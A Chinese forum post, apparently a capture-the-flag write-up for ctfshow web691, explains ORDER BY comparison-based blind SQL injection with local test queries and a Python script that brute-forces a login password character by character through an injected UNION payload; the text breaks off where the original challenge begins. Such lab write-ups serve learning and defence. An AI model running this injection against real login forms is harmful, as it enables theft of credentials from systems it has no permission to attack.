找回密码
 立即注册
首页 业界区 业界 SQL order by 大小比较盲注

SQL order by 大小比较盲注

挫莉虻 昨天 16:30
SQL order by 大小比较盲注

在做ctfshow web入门 的 web691时遇到了SQL order by 大小比较盲注问题。因为是第一次遇到,记录一下
1.png

在做题之前,我们先来探讨一下order by 比较大小盲注
在本地先自己搭建一个数据库
2.png

我们输入查询语句
  1. SELECT * FROM `login` WHERE name=1 or 1 union SELECT 1,1,1 order by 3;
复制代码
3.png

更换一下查询语句
  1. SELECT * FROM `login` WHERE name=1 or 1 union SELECT 1,1,2 order by 3;
复制代码
4.png

这里很明显就能看出,当用联合查询出来的passwd值1时,最终回显的是name=1而当我们输入passwd值为2时,最终回显的是name=admin即为第一条数据,并且在实际中我们不知道passwd的值,会回显一个密码错误,这样我们就可以根据回显一位一位来爆破password的值
  1. s = '0123456789:abcdefghijklmnopqrstuvwxyz{'
  2. password=''
  3. for i in range(50):
  4.     for j in s:
  5.         payload=password+j
  6.         data={
  7.             'username':"'or 1 union select 1,1,'"+payload+"' order by 3#",
  8.             'passwd':''
  9.             }
  10.         r=requests.post(url,data=data)
  11.         if "wrong pass!" in r.text:
  12.             password+=chr(ord(j)-1)
  13.             print(password)
  14.             break
复制代码
回归到原题
[code]
您需要登录后才可以回帖 登录 | 立即注册